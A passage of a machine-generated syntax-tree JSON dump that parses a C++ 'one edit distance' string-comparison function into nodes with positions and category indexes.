70, 71], "start_point": {"row": 14, "column": 20}, "end_point": {"row": 14, "column": 41}}, {"id": 66, "type": "binary_expression", "text": "i < M", "parent": 65, "children": [67, 68, 69], "start_point": {"row": 14, "column": 20}, "end_point": {"row": 14, "column": 25}}, {"id": 67, "type": "identifier", "text": "i", "parent": 66, "children": [], "start_point": {"row": 14, "column": 20}, "end_point": {"row": 14, "column": 21}}, {"id": 68, "type": "<", "text": "<", "parent": 66, "children": [], "start_point": {"row": 14, "column": 22}, "end_point": {"row": 14, "column": 23}}, {"id": 69, "type": "identifier", "text": "M", "parent": 66, "children": [], "start_point": {"row": 14, "column": 24}, "end_point": {"row": 14, "column": 25}}, {"id": 70, "type": "&&", "text": "&&", "parent": 65, "children": [], "start_point": {"row": 14, "column": 26}, "end_point": {"row": 14, "column": 28}}, {"id": 71, "type": "binary_expression", "text": "s[i] == t[j]", "parent": 65, "children": [72, 75, 76], "start_point": {"row": 14, "column": 29}, "end_point": {"row": 14, "column": 41}}, {"id": 72, "type": "subscript_expression", "text": "s[i]", "parent": 71, "children": [73, 74], "start_point": {"row": 14, "column": 29}, "end_point": {"row": 14, "column": 33}}, {"id": 73, "type": "identifier", "text": "s", "parent": 72, "children": [], "start_point": {"row": 14, "column": 29}, "end_point": {"row": 14, "column": 30}}, {"id": 74, "type": "identifier", "text": "i", "parent": 72, "children": [], "start_point": {"row": 14, "column": 31}, "end_point": {"row": 14, "column": 32}}, {"id": 75, "type": "==", "text": "==", "parent": 71, "children": [], "start_point": {"row": 14, "column": 34}, "end_point": {"row": 14, "column": 36}}, {"id": 76, "type": "subscript_expression", "text": "t[j]", "parent": 71, "children": [77, 78], "start_point": {"row": 14, "column": 37}, "end_point": {"row": 14, "column": 41}}, {"id": 77, "type": "identifier", "text": "t", "parent": 76, "children": [], "start_point": {"row": 14, "column": 37}, "end_point": {"row": 14, "column": 38}}, {"id": 78, "type": "identifier", "text": "j", "parent": 76, "children": [], "start_point": {"row": 14, "column": 39}, "end_point": {"row": 14, "column": 40}}, {"id": 79, "type": "comma_expression", "text": "++i, ++j", "parent": 63, "children": [80, 83], "start_point": {"row": 15, "column": 20}, "end_point": {"row": 15, "column": 28}}, {"id": 80, "type": "update_expression", "text": "++i", "parent": 79, "children": [81, 82], "start_point": {"row": 15, "column": 20}, "end_point": {"row": 15, "column": 23}}, {"id": 81, "type": "++", "text": "++", "parent": 80, "children": [], "start_point": {"row": 15, "column": 20}, "end_point": {"row": 15, "column": 22}}, {"id": 82, "type": "identifier", "text": "i", "parent": 80, "children": [], "start_point": {"row": 15, "column": 22}, "end_point": {"row": 15, "column": 23}}, {"id": 83, "type": "update_expression", "text": "++j", "parent": 79, "children": [84, 85], "start_point": {"row": 15, "column": 25}, "end_point": {"row": 15, "column": 28}}, {"id": 84, "type": "++", "text": "++", "parent": 83, "children": [], "start_point": {"row": 15, "column": 25}, "end_point": {"row": 15, "column": 27}}, {"id": 85, "type": "identifier", "text": "j", "parent": 83, "children": [], "start_point": {"row": 15, "column": 27}, "end_point": {"row": 15, "column": 28}}, {"id": 86, "type": "continue_statement", "text": "continue;", "parent": 63, "children": [87], "start_point": {"row": 16, "column": 20}, "end_point": {"row": 16, "column": 29}}, {"id": 87, "type": "continue", "text": "continue", "parent": 86, "children": [], "start_point": {"row": 16, "column": 20}, "end_point": {"row": 16, "column": 28}}, {"id": 88, "type": "else_clause", "text": "else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }", "parent": 63, "children": [], "start_point": {"row": 17, "column": 18}, "end_point": {"row": 22, "column": 17}}, {"id": 89, "type": "update_expression", "text": "++j", "parent": 88, "children": [90, 91], "start_point": {"row": 19, "column": 20}, "end_point": {"row": 19, "column": 23}}, {"id": 90, "type": "++", "text": "++", "parent": 89, "children": [], "start_point": {"row": 19, "column": 20}, "end_point": {"row": 19, "column": 22}}, {"id": 91, "type": "identifier", "text": "j", "parent": 89, "children": [], "start_point": {"row": 19, "column": 22}, "end_point": {"row": 19, "column": 23}}, {"id": 92, "type": "if_statement", "text": "if (++d > 1) \n return false;", "parent": 88, "children": [93, 100], "start_point": {"row": 20, "column": 20}, "end_point": {"row": 21, "column": 37}}, {"id": 93, "type": "parenthesized_expression", "text": "(++d > 1)", "parent": 92, "children": [94], "start_point": {"row": 20, "column": 23}, "end_point": {"row": 20, "column": 32}}, {"id": 94, "type": "binary_expression", "text": "++d > 1", "parent": 93, "children": [95, 98, 99], "start_point": {"row": 20, "column": 24}, "end_point": {"row": 20, "column": 31}}, {"id": 95, "type": "update_expression", "text": "++d", "parent": 94, "children": [96, 97], "start_point": {"row": 20, "column": 24}, "end_point": {"row": 20, "column": 27}}, {"id": 96, "type": "++", "text": "++", "parent": 95, "children": [], "start_point": {"row": 20, "column": 24}, "end_point": {"row": 20, "column": 26}}, {"id": 97, "type": "identifier", "text": "d", "parent": 95, "children": [], "start_point": {"row": 20, "column": 26}, "end_point": {"row": 20, "column": 27}}, {"id": 98, "type": ">", "text": ">", "parent": 94, "children": [], "start_point": {"row": 20, "column": 28}, "end_point": {"row": 20, "column": 29}}, {"id": 99, "type": "number_literal", "text": "1", "parent": 94, "children": [], "start_point": {"row": 20, "column": 30}, "end_point": {"row": 20, "column": 31}}, {"id": 100, "type": "return_statement", "text": "return false;", "parent": 92, "children": [101], "start_point": {"row": 21, "column": 24}, "end_point": {"row": 21, "column": 37}}, {"id": 101, "type": "false", "text": "false", "parent": 100, "children": [], "start_point": {"row": 21, "column": 31}, "end_point": {"row": 21, "column": 36}}, {"id": 102, "type": "return_statement", "text": "return i + 1 == j;", "parent": 34, "children": [103], "start_point": {"row": 24, "column": 12}, "end_point": {"row": 24, "column": 30}}, {"id": 103, "type": "binary_expression", "text": "i + 1 == j", "parent": 102, "children": [104, 108, 109], "start_point": {"row": 24, "column": 19}, "end_point": {"row": 24, "column": 29}}, {"id": 104, "type": "binary_expression", "text": "i + 1", "parent": 103, "children": [105, 106, 107], "start_point": {"row": 24, "column": 19}, "end_point": {"row": 24, "column": 24}}, {"id": 105, "type": "identifier", "text": "i", "parent": 104, "children": [], "start_point": {"row": 24, "column": 19}, "end_point": {"row": 24, "column": 20}}, {"id": 106, "type": "+", "text": "+", "parent": 104, "children": [], "start_point": {"row": 24, "column": 21}, "end_point": {"row": 24, "column": 22}}, {"id": 107, "type": "number_literal", "text": "1", "parent": 104, "children": [], "start_point": {"row": 24, "column": 23}, "end_point": {"row": 24, "column": 24}}, {"id": 108, "type": "==", "text": "==", "parent": 103, "children": [], "start_point": {"row": 24, "column": 25}, "end_point": {"row": 24, "column": 27}}, {"id": 109, "type": "identifier", "text": "j", "parent": 103, "children": [], "start_point": {"row": 24, "column": 28}, "end_point": {"row": 24, "column": 29}}, {"id": 110, "type": "else_clause", "text": "else if (M - 1 == N) {\n int i = 0, j = 0, d = 0;\n while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }\n return i - 1 == j;\n } else if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }", "parent": 34, "children": [111], "start_point": {"row": 25, "column": 10}, "end_point": {"row": 49, "column": 9}}, {"id": 111, "type": "if_statement", "text": "if (M - 1 == N) {\n int i = 0, j = 0, d = 0;\n while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }\n return i - 1 == j;\n } else if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }", "parent": 110, "children": [112, 187], "start_point": {"row": 25, "column": 15}, "end_point": {"row": 49, "column": 9}}, {"id": 112, "type": "parenthesized_expression", "text": "(M - 1 == N)", "parent": 111, "children": [113], "start_point": {"row": 25, "column": 18}, "end_point": {"row": 25, "column": 30}}, {"id": 113, "type": "binary_expression", "text": "M - 1 == N", "parent": 112, "children": [114, 118, 119], "start_point": {"row": 25, "column": 19}, "end_point": {"row": 25, "column": 29}}, {"id": 114, "type": "binary_expression", "text": "M - 1", "parent": 113, "children": [115, 116, 117], "start_point": {"row": 25, "column": 19}, "end_point": {"row": 25, "column": 24}}, {"id": 115, "type": "identifier", "text": "M", "parent": 114, "children": [], "start_point": {"row": 25, "column": 19}, "end_point": {"row": 25, "column": 20}}, {"id": 116, "type": "-", "text": "-", "parent": 114, "children": [], "start_point": {"row": 25, "column": 21}, "end_point": {"row": 25, "column": 22}}, {"id": 117, "type": "number_literal", "text": "1", "parent": 114, "children": [], "start_point": {"row": 25, "column": 23}, "end_point": {"row": 25, "column": 24}}, {"id": 118, "type": "==", "text": "==", "parent": 113, "children": [], "start_point": {"row": 25, "column": 25}, "end_point": {"row": 25, "column": 27}}, {"id": 119, "type": "identifier", "text": "N", "parent": 113, "children": [], "start_point": {"row": 25, "column": 28}, "end_point": {"row": 25, "column": 29}}, {"id": 120, "type": "declaration", "text": "int i = 0, j = 0, d = 0;", "parent": 111, "children": [121, 122, 126, 130], "start_point": {"row": 26, "column": 12}, "end_point": {"row": 26, "column": 36}}, {"id": 121, "type": "primitive_type", "text": "int", "parent": 120, "children": [], "start_point": {"row": 26, "column": 12}, "end_point": {"row": 26, "column": 15}}, {"id": 122, "type": "init_declarator", "text": "i = 0", "parent": 120, "children": [123, 124, 125], "start_point": {"row": 26, "column": 16}, "end_point": {"row": 26, "column": 21}}, {"id": 123, "type": "identifier", "text": "i", "parent": 122, "children": [], "start_point": {"row": 26, "column": 16}, "end_point": {"row": 26, "column": 17}}, {"id": 124, "type": "=", "text": "=", "parent": 122, "children": [], "start_point": {"row": 26, "column": 18}, "end_point": {"row": 26, "column": 19}}, {"id": 125, "type": "number_literal", "text": "0", "parent": 122, "children": [], "start_point": {"row": 26, "column": 20}, "end_point": {"row": 26, "column": 21}}, {"id": 126, "type": "init_declarator", "text": "j = 0", "parent": 120, "children": [127, 128, 129], "start_point": {"row": 26, "column": 23}, "end_point": {"row": 26, "column": 28}}, {"id": 127, "type": "identifier", "text": "j", "parent": 126, "children": [], "start_point": {"row": 26, "column": 23}, "end_point": {"row": 26, "column": 24}}, {"id": 128, "type": "=", "text": "=", "parent": 126, "children": [], "start_point": {"row": 26, "column": 25}, "end_point": {"row": 26, "column": 26}}, {"id": 129, "type": "number_literal", "text": "0", "parent": 126, "children": [], "start_point": {"row": 26, "column": 27}, "end_point": {"row": 26, "column": 28}}, {"id": 130, "type": "init_declarator", "text": "d = 0", "parent": 120, "children": [131, 132, 133], "start_point": {"row": 26, "column": 30}, "end_point": {"row": 26, "column": 35}}, {"id": 131, "type": "identifier", "text": "d", "parent": 130, "children": [], "start_point": {"row": 26, "column": 30}, "end_point": {"row": 26, "column": 31}}, {"id": 132, "type": "=", "text": "=", "parent": 130, "children": [], "start_point": {"row": 26, "column": 32}, "end_point": {"row": 26, "column": 33}}, {"id": 133, "type": "number_literal", "text": "0", "parent": 130, "children": [], "start_point": {"row": 26, "column": 34}, "end_point": {"row": 26, "column": 35}}, {"id": 134, "type": "while_statement", "text": "while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }", "parent": 111, "children": [135], "start_point": {"row": 27, "column": 12}, "end_point": {"row": 37, "column": 13}}, {"id": 135, "type": "parenthesized_expression", "text": "(i < M)", "parent": 134, "children": [136], "start_point": {"row": 27, "column": 18}, "end_point": {"row": 27, "column": 25}}, {"id": 136, "type": "binary_expression", "text": "i < M", "parent": 135, "children": [137, 138, 139], "start_point": {"row": 27, "column": 19}, "end_point": {"row": 27, "column": 24}}, {"id": 137, "type": "identifier", "text": "i", "parent": 136, "children": [], "start_point": {"row": 27, "column": 19}, "end_point": {"row": 27, "column": 20}}, {"id": 138, "type": "<", "text": "<", "parent": 136, "children": [], "start_point": {"row": 27, "column": 21}, "end_point": {"row": 27, "column": 22}}, {"id": 139, "type": "identifier", "text": "M", "parent": 136, "children": [], "start_point": {"row": 27, "column": 23}, "end_point": {"row": 27, "column": 24}}, {"id": 140, "type": "if_statement", "text": "if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }", "parent": 134, "children": [141, 165], "start_point": {"row": 28, "column": 16}, "end_point": {"row": 36, "column": 17}}, {"id": 141, "type": "parenthesized_expression", "text": "(j < N && s[i] == t[j])", "parent": 140, "children": [142], "start_point": {"row": 28, "column": 19}, "end_point": {"row": 28, "column": 42}}, {"id": 142, "type": "binary_expression", "text": "j < N && s[i] == t[j]", "parent": 141, "children": [143, 147, 148], "start_point": {"row": 28, "column": 20}, "end_point": {"row": 28, "column": 41}}, {"id": 143, "type": "binary_expression", "text": "j < N", "parent": 142, "children": [144, 145, 146], "start_point": {"row": 28, "column": 20}, "end_point": {"row": 28, "column": 25}}, {"id": 144, "type": "identifier", "text": "j", "parent": 143, "children": [], "start_point": {"row": 28, "column": 20}, "end_point": {"row": 28, "column": 21}}, {"id": 145, "type": "<", "text": "<", "parent": 143, "children": [], "start_point": {"row": 28, "column": 22}, "end_point": {"row": 28, "column": 23}}, {"id": 146, "type": "identifier", "text": "N", "parent": 143, "children": [], "start_point": {"row": 28, "column": 24}, "end_point": {"row": 28, "column": 25}}, {"id": 147, "type": "&&", "text": "&&", "parent": 142, "children": [], "start_point": {"row": 28, "column": 26}, "end_point": {"row": 28, "column": 28}}, {"id": 148, "type": "binary_expression", "text": "s[i] == t[j]", "parent": 142, "children": [149, 152, 153], "start_point": {"row": 28, "column": 29}, "end_point": {"row": 28, "column": 41}}, {"id": 149, "type": "subscript_expression", "text": "s[i]", "parent": 148, "children": [150, 151], "start_point": {"row": 28, "column": 29}, "end_point": {"row": 28, "column": 33}}, {"id": 150, "type": "identifier", "text": "s", "parent": 149, "children": [], "start_point": {"row": 28, "column": 29}, "end_point": {"row": 28, "column": 30}}, {"id": 151, "type": "identifier", "text": "i", "parent": 149, "children": [], "start_point": {"row": 28, "column": 31}, "end_point": {"row": 28, "column": 32}}, {"id": 152, "type": "==", "text": "==", "parent": 148, "children": [], "start_point": {"row": 28, "column": 34}, "end_point": {"row": 28, "column": 36}}, {"id": 153, "type": "subscript_expression", "text": "t[j]", "parent": 148, "children": [154, 155], "start_point": {"row": 28, "column": 37}, "end_point": {"row": 28, "column": 41}}, {"id": 154, "type": "identifier", "text": "t", "parent": 153, "children": [], "start_point": {"row": 28, "column": 37}, "end_point": {"row": 28, "column": 38}}, {"id": 155, "type": "identifier", "text": "j", "parent": 153, "children": [], "start_point": {"row": 28, "column": 39}, "end_point": {"row": 28, "column": 40}}, {"id": 156, "type": "comma_expression", "text": "++i, ++j", "parent": 140, "children": [157, 160], "start_point": {"row": 29, "column": 20}, "end_point": {"row": 29, "column": 28}}, {"id": 157, "type": "update_expression", "text": "++i", "parent": 156, "children": [158, 159], "start_point": {"row": 29, "column": 20}, "end_point": {"row": 29, "column": 23}}, {"id": 158, "type": "++", "text": "++", "parent": 157, "children": [], "start_point": {"row": 29, "column": 20}, "end_point": {"row": 29, "column": 22}}, {"id": 159, "type": "identifier", "text": "i", "parent": 157, "children": [], "start_point": {"row": 29, "column": 22}, "end_point": {"row": 29, "column": 23}}, {"id": 160, "type": "update_expression", "text": "++j", "parent": 156, "children": [161, 162], "start_point": {"row": 29, "column": 25}, "end_point": {"row": 29, "column": 28}}, {"id": 161, "type": "++", "text": "++", "parent": 160, "children": [], "start_point": {"row": 29, "column": 25}, "end_point": {"row": 29, "column": 27}}, {"id": 162, "type": "identifier", "text": "j", "parent": 160, "children": [], "start_point": {"row": 29, "column": 27}, "end_point": {"row": 29, "column": 28}}, {"id": 163, "type": "continue_statement", "text": "continue;", "parent": 140, "children": [164], "start_point": {"row": 30, "column": 20}, "end_point": {"row": 30, "column": 29}}, {"id": 164, "type": "continue", "text": "continue", "parent": 163, "children": [], "start_point": {"row": 30, "column": 20}, "end_point": {"row": 30, "column": 28}}, {"id": 165, "type": "else_clause", "text": "else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }", "parent": 140, "children": [], "start_point": {"row": 31, "column": 18}, "end_point": {"row": 36, "column": 17}}, {"id": 166, "type": "update_expression", "text": "++i", "parent": 165, "children": [167, 168], "start_point": {"row": 33, "column": 20}, "end_point": {"row": 33, "column": 23}}, {"id": 167, "type": "++", "text": "++", "parent": 166, "children": [], "start_point": {"row": 33, "column": 20}, "end_point": {"row": 33, "column": 22}}, {"id": 168, "type": "identifier", "text": "i", "parent": 166, "children": [], "start_point": {"row": 33, "column": 22}, "end_point": {"row": 33, "column": 23}}, {"id": 169, "type": "if_statement", "text": "if (++d > 1) \n return false;", "parent": 165, "children": [170, 177], "start_point": {"row": 34, "column": 20}, "end_point": {"row": 35, "column": 37}}, {"id": 170, "type": "parenthesized_expression", "text": "(++d > 1)", "parent": 169, "children": [171], "start_point": {"row": 34, "column": 23}, "end_point": {"row": 34, "column": 32}}, {"id": 171, "type": "binary_expression", "text": "++d > 1", "parent": 170, "children": [172, 175, 176], "start_point": {"row": 34, "column": 24}, "end_point": {"row": 34, "column": 31}}, {"id": 172, "type": "update_expression", "text": "++d", "parent": 171, "children": [173, 174], "start_point": {"row": 34, "column": 24}, "end_point": {"row": 34, "column": 27}}, {"id": 173, "type": "++", "text": "++", "parent": 172, "children": [], "start_point": {"row": 34, "column": 24}, "end_point": {"row": 34, "column": 26}}, {"id": 174, "type": "identifier", "text": "d", "parent": 172, "children": [], "start_point": {"row": 34, "column": 26}, "end_point": {"row": 34, "column": 27}}, {"id": 175, "type": ">", "text": ">", "parent": 171, "children": [], "start_point": {"row": 34, "column": 28}, "end_point": {"row": 34, "column": 29}}, {"id": 176, "type": "number_literal", "text": "1", "parent": 171, "children": [], "start_point": {"row": 34, "column": 30}, "end_point": {"row": 34, "column": 31}}, {"id": 177, "type": "return_statement", "text": "return false;", "parent": 169, "children": [178], "start_point": {"row": 35, "column": 24}, "end_point": {"row": 35, "column": 37}}, {"id": 178, "type": "false", "text": "false", "parent": 177, "children": [], "start_point": {"row": 35, "column": 31}, "end_point": {"row": 35, "column": 36}}, {"id": 179, "type": "return_statement", "text": "return i - 1 == j;", "parent": 111, "children": [180], "start_point": {"row": 38, "column": 12}, "end_point": {"row": 38, "column": 30}}, {"id": 180, "type": "binary_expression", "text": "i - 1 == j", "parent": 179, "children": [181, 185, 186], "start_point": {"row": 38, "column": 19}, "end_point": {"row": 38, "column": 29}}, {"id": 181, "type": "binary_expression", "text": "i - 1", "parent": 180, "children": [182, 183, 184], "start_point": {"row": 38, "column": 19}, "end_point": {"row": 38, "column": 24}}, {"id": 182, "type": "identifier", "text": "i", "parent": 181, "children": [], "start_point": {"row": 38, "column": 19}, "end_point": {"row": 38, "column": 20}}, {"id": 183, "type": "-", "text": "-", "parent": 181, "children": [], "start_point": {"row": 38, "column": 21}, "end_point": {"row": 38, "column": 22}}, {"id": 184, "type": "number_literal", "text": "1", "parent": 181, "children": [], "start_point": {"row": 38, "column": 23}, "end_point": {"row": 38, "column": 24}}, {"id": 185, "type": "==", "text": "==", "parent": 180, "children": [], "start_point": {"row": 38, "column": 25}, "end_point": {"row": 38, "column": 27}}, {"id": 186, "type": "identifier", "text": "j", "parent": 180, "children": [], "start_point": {"row": 38, "column": 28}, "end_point": {"row": 38, "column": 29}}, {"id": 187, "type": "else_clause", "text": "else if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }", "parent": 111, "children": [188], "start_point": {"row": 39, "column": 10}, "end_point": {"row": 49, "column": 9}}, {"id": 188, "type": "if_statement", "text": "if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }", "parent": 187, "children": [189, 241], "start_point": {"row": 39, "column": 15}, "end_point": {"row": 49, "column": 9}}, {"id": 189, "type": "parenthesized_expression", "text": "(M == N)", "parent": 188, "children": [190], "start_point": {"row": 39, "column": 18}, "end_point": {"row": 39, "column": 26}}, {"id": 190, "type": "binary_expression", "text": "M == N", "parent": 189, "children": [191, 192, 193], "start_point": {"row": 39, "column": 19}, "end_point": {"row": 39, "column": 25}}, {"id": 191, "type": "identifier", "text": "M", "parent": 190, "children": [], "start_point": {"row": 39, "column": 19}, "end_point": {"row": 39, "column": 20}}, {"id": 192, "type": "==", "text": "==", "parent": 190, "children": [], "start_point": {"row": 39, "column": 21}, "end_point": {"row": 39, "column": 23}}, {"id": 193, "type": "identifier", "text": "N", "parent": 190, "children": [], "start_point": {"row": 39, "column": 24}, "end_point": {"row": 39, "column": 25}}, {"id": 194, "type": "declaration", "text": "int r = 0;", "parent": 188, "children": [195, 196], "start_point": {"row": 40, "column": 12}, "end_point": {"row": 40, "column": 22}}, {"id": 195, "type": "primitive_type", "text": "int", "parent": 194, "children": [], "start_point": {"row": 40, "column": 12}, "end_point": {"row": 40, "column": 15}}, {"id": 196, "type": "init_declarator", "text": "r = 0", "parent": 194, "children": [197, 198, 199], "start_point": {"row": 40, "column": 16}, "end_point": {"row": 40, "column": 21}}, {"id": 197, "type": "identifier", "text": "r", "parent": 196, "children": [], "start_point": {"row": 40, "column": 16}, "end_point": {"row": 40, "column": 17}}, {"id": 198, "type": "=", "text": "=", "parent": 196, "children": [], "start_point": {"row": 40, "column": 18}, "end_point": {"row": 40, "column": 19}}, {"id": 199, "type": "number_literal", "text": "0", "parent": 196, "children": [], "start_point": {"row": 40, "column": 20}, "end_point": {"row": 40, "column": 21}}, {"id": 200, "type": "for_statement", "text": "for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }", "parent": 188, "children": [201, 207, 211], "start_point": {"row": 41, "column": 12}, "end_point": {"row": 45, "column": 13}}, {"id": 201, "type": "declaration", "text": "int i = 0;", "parent": 200, "children": [202, 203], "start_point": {"row": 41, "column": 17}, "end_point": {"row": 41, "column": 27}}, {"id": 202, "type": "primitive_type", "text": "int", "parent": 201, "children": [], "start_point": {"row": 41, "column": 17}, "end_point": {"row": 41, "column": 20}}, {"id": 203, "type": "init_declarator", "text": "i = 0", "parent": 201, "children": [204, 205, 206], "start_point": {"row": 41, "column": 21}, "end_point": {"row": 41, "column": 26}}, {"id": 204, "type": "identifier", "text": "i", "parent": 203, "children": [], "start_point": {"row": 41, "column": 21}, "end_point": {"row": 41, "column": 22}}, {"id": 205, "type": "=", "text": "=", "parent": 203, "children": [], "start_point": {"row": 41, "column": 23}, "end_point": {"row": 41, "column": 24}}, {"id": 206, "type": "number_literal", "text": "0", "parent": 203, "children": [], "start_point": {"row": 41, "column": 25}, "end_point": {"row": 41, "column": 26}}, {"id": 207, "type": "binary_expression", "text": "i < M", "parent": 200, "children": [208, 209, 210], "start_point": {"row": 41, "column": 28}, "end_point": {"row": 41, "column": 33}}, {"id": 208, "type": "identifier", "text": "i", "parent": 207, "children": [], "start_point": {"row": 41, "column": 28}, "end_point": {"row": 41, "column": 29}}, {"id": 209, "type": "<", "text": "<", "parent": 207, "children": [], "start_point": {"row": 41, "column": 30}, "end_point": {"row": 41, "column": 31}}, {"id": 210, "type": "identifier", "text": "M", "parent": 207, "children": [], "start_point": {"row": 41, "column": 32}, "end_point": {"row": 41, "column": 33}}, {"id": 211, "type": "update_expression", "text": "++i", "parent": 200, "children": [212, 213], "start_point": {"row": 41, "column": 35}, "end_point": {"row": 41, "column": 38}}, {"id": 212, "type": "++", "text": "++", "parent": 211, "children": [], "start_point": {"row": 41, "column": 35}, "end_point": {"row": 41, "column": 37}}, {"id": 213, "type": "identifier", "text": "i", "parent": 211, "children": [], "start_point": {"row": 41, "column": 37}, "end_point": {"row": 41, "column": 38}}, {"id": 214, "type": "if_statement", "text": "if (s[i] == t[i]) continue;", "parent": 200, "children": [215, 224], "start_point": {"row": 42, "column": 16}, "end_point": {"row": 42, "column": 43}}, {"id": 215, "type": "parenthesized_expression", "text": "(s[i] == t[i])", "parent": 214, "children": [216], "start_point": {"row": 42, "column": 19}, "end_point": {"row": 42, "column": 33}}, {"id": 216, "type": "binary_expression", "text": "s[i] == t[i]", "parent": 215, "children": [217, 220, 221], "start_point": {"row": 42, "column": 20}, "end_point": {"row": 42, "column": 32}}, {"id": 217, "type": "subscript_expression", "text": "s[i]", "parent": 216, "children": [218, 219], "start_point": {"row": 42, "column": 20}, "end_point": {"row": 42, "column": 24}}, {"id": 218, "type": "identifier", "text": "s", "parent": 217, "children": [], "start_point": {"row": 42, "column": 20}, "end_point": {"row": 42, "column": 21}}, {"id": 219, "type": "identifier", "text": "i", "parent": 217, "children": [], "start_point": {"row": 42, "column": 22}, "end_point": {"row": 42, "column": 23}}, {"id": 220, "type": "==", "text": "==", "parent": 216, "children": [], "start_point": {"row": 42, "column": 25}, "end_point": {"row": 42, "column": 27}}, {"id": 221, "type": "subscript_expression", "text": "t[i]", "parent": 216, "children": [222, 223], "start_point": {"row": 42, "column": 28}, "end_point": {"row": 42, "column": 32}}, {"id": 222, "type": "identifier", "text": "t", "parent": 221, "children": [], "start_point": {"row": 42, "column": 28}, "end_point": {"row": 42, "column": 29}}, {"id": 223, "type": "identifier", "text": "i", "parent": 221, "children": [], "start_point": {"row": 42, "column": 30}, "end_point": {"row": 42, "column": 31}}, {"id": 224, "type": "continue_statement", "text": "continue;", "parent": 214, "children": [225], "start_point": {"row": 42, "column": 34}, "end_point": {"row": 42, "column": 43}}, {"id": 225, "type": "continue", "text": "continue", "parent": 224, "children": [], "start_point": {"row": 42, "column": 34}, "end_point": {"row": 42, "column": 42}}, {"id": 226, "type": "if_statement", "text": "if (++r > 1) return false;", "parent": 200, "children": [227, 234], "start_point": {"row": 44, "column": 16}, "end_point": {"row": 44, "column": 42}}, {"id": 227, "type": "parenthesized_expression", "text": "(++r > 1)", "parent": 226, "children": [228], "start_point": {"row": 44, "column": 19}, "end_point": {"row": 44, "column": 28}}, {"id": 228, "type": "binary_expression", "text": "++r > 1", "parent": 227, "children": [229, 232, 233], "start_point": {"row": 44, "column": 20}, "end_point": {"row": 44, "column": 27}}, {"id": 229, "type": "update_expression", "text": "++r", "parent": 228, "children": [230, 231], "start_point": {"row": 44, "column": 20}, "end_point": {"row": 44, "column": 23}}, {"id": 230, "type": "++", "text": "++", "parent": 229, "children": [], "start_point": {"row": 44, "column": 20}, "end_point": {"row": 44, "column": 22}}, {"id": 231, "type": "identifier", "text": "r", "parent": 229, "children": [], "start_point": {"row": 44, "column": 22}, "end_point": {"row": 44, "column": 23}}, {"id": 232, "type": ">", "text": ">", "parent": 228, "children": [], "start_point": {"row": 44, "column": 24}, "end_point": {"row": 44, "column": 25}}, {"id": 233, "type": "number_literal", "text": "1", "parent": 228, "children": [], "start_point": {"row": 44, "column": 26}, "end_point": {"row": 44, "column": 27}}, {"id": 234, "type": "return_statement", "text": "return false;", "parent": 226, "children": [235], "start_point": {"row": 44, "column": 29}, "end_point": {"row": 44, "column": 42}}, {"id": 235, "type": "false", "text": "false", "parent": 234, "children": [], "start_point": {"row": 44, "column": 36}, "end_point": {"row": 44, "column": 41}}, {"id": 236, "type": "return_statement", "text": "return r == 1;", "parent": 188, "children": [237], "start_point": {"row": 46, "column": 12}, "end_point": {"row": 46, "column": 26}}, {"id": 237, "type": "binary_expression", "text": "r == 1", "parent": 236, "children": [238, 239, 240], "start_point": {"row": 46, "column": 19}, "end_point": {"row": 46, "column": 25}}, {"id": 238, "type": "identifier", "text": "r", "parent": 237, "children": [], "start_point": {"row": 46, "column": 19}, "end_point": {"row": 46, "column": 20}}, {"id": 239, "type": "==", "text": "==", "parent": 237, "children": [], "start_point": {"row": 46, "column": 21}, "end_point": {"row": 46, "column": 23}}, {"id": 240, "type": "number_literal", "text": "1", "parent": 237, "children": [], "start_point": {"row": 46, "column": 24}, "end_point": {"row": 46, "column": 25}}, {"id": 241, "type": "else_clause", "text": "else {\n return false;\n }", "parent": 188, "children": [], "start_point": {"row": 47, "column": 10}, "end_point": {"row": 49, "column": 9}}, {"id": 242, "type": "return_statement", "text": "return false;", "parent": 241, "children": [243], "start_point": {"row": 48, "column": 12}, "end_point": {"row": 48, "column": 25}}, {"id": 243, "type": "false", "text": "false", "parent": 242, "children": [], "start_point": {"row": 48, "column": 19}, "end_point": {"row": 48, "column": 24}}]}, "node_categories": {"declarations": {"functions": [0, 5], "variables": [8, 11, 14, 24, 43, 120, 194, 201], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [19, 20, 29, 30, 35, 36, 37, 58, 59, 64, 65, 66, 71, 72, 76, 79, 80, 83, 89, 93, 94, 95, 103, 104, 112, 113, 114, 135, 136, 141, 142, 143, 148, 149, 153, 156, 157, 160, 166, 170, 171, 172, 180, 181, 189, 190, 207, 211, 215, 216, 217, 221, 227, 228, 229, 237], "assignments": [], "loops": [57, 134, 200], "conditionals": [1, 6, 9, 10, 12, 13, 17, 21, 22, 27, 31, 32, 34, 38, 42, 46, 50, 54, 60, 62, 63, 67, 69, 73, 74, 77, 78, 82, 85, 91, 92, 97, 105, 109, 111, 115, 119, 123, 127, 131, 137, 139, 140, 144, 146, 150, 151, 154, 155, 159, 162, 168, 169, 174, 182, 186, 188, 191, 193, 197, 204, 208, 210, 213, 214, 218, 219, 222, 223, 226, 231, 238], 